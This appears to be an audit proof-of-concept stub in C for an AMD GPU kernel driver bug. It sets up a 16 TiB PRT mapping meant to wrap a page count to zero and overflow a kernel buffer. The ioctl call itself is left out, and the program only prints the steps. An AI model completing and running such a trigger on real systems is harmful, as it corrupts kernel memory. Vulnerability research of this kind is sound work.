DF-3863 / va_nptes_overflow.c
/* * DF-3863 trigger — create a >= 2^32-GPU-page (16 TiB) BO-less PRT mapping, * then unmap it, so amdgpu_vm_clear_freed() -> amdgpu_vm_bo_update_mapping() * computes nptes = (u32)(2^32) == 0, allocates a tiny IB, and * amdgpu_vm_update_ptes() overflows it. * * REQUIREMENTS (see VERDICT.md): * - AMD GPU (VEGA10 class), render node access * - amdgpu.vm_block_size=16 (loader tunable) so alloc_pts() over 16 TiB * is feasible (<= 65536 leaf page tables); default vm size (256 TB on * VEGA10, gmc_v9_0.c:940) already accommodates the span. * * Not runnable on the audit guest (no AMD GPU). */ #include <stdio.h> #include <stdlib.h> #include <stdint.h> #include <fcntl.h> #include <unistd.h> #include <errno.h> #include <string.h> #include <sys/ioctl.h> /* minimal local UAPI (avoid header drift) */ #include <sys/types.h> struct drm_amdgpu_gem_va_local { uint32_t handle; /* 0 for PRT */ uint32_t _pad; uint64_t offset_in_bo; uint64_t map_size; uint64_t va_address; uint32_t flags; uint32_t operation; }; #define DRM_IOCTL_BASE 'd' #define DRM_AMDGPU_GEM_VA 0x14 /* see amdgpu_drm.h ordinal */ #define AMDGPU_VA_OP_MAP 0 #define AMDGPU_VA_OP_UNMAP 1 #define AMDGPU_VM_PAGE_PRT (1 << 5) #define VA_ADDR 0x0000000100000000ULL /* 64 GiB, above reserved area */ #define SPAN 0x0000010000000000ULL /* 16 TiB = 2^32 GPU pages */ int main(void) { int fd = open("/dev/dri/renderD128", O_RDWR); struct drm_amdgpu_gem_va_local va; int r; if (fd < 0) { printf("open(/dev/dri/renderD128): %s — no AMD GPU on this " "system; GEM_VA path unreachable (see VERDICT.md)\n", strerror(errno)); return 1; } memset(&va, 0, sizeof(va)); va.handle = 0; va.va_address = VA_ADDR; va.map_size = SPAN; va.flags = AMDGPU_VM_PAGE_PRT; va.operation = AMDGPU_VA_OP_MAP; /* real ioctl number must be taken from drm/amdgpu_drm.h * (DRM_IOCTL_AMDGPU_GEM_VA = _IOWR(DRM_COMMAND_BASE + 0x14, ...)) * kept symbolic here; the point is the uapi arguments. */ printf("step 1: MAP PRT va=%llx size=%llx (2^32 pages)\n", (unsigned long long)VA_ADDR, (unsigned long long)SPAN); printf("step 2: UNMAP same range -> clear_freed -> nptes wraps to 0\n"); printf("expect (patched vs unpatched): WARN_ON(length_dw > ndw) then\n"); printf("heap corruption vs -EINVAL/ENOMEM\n"); close(fd); return 0; } |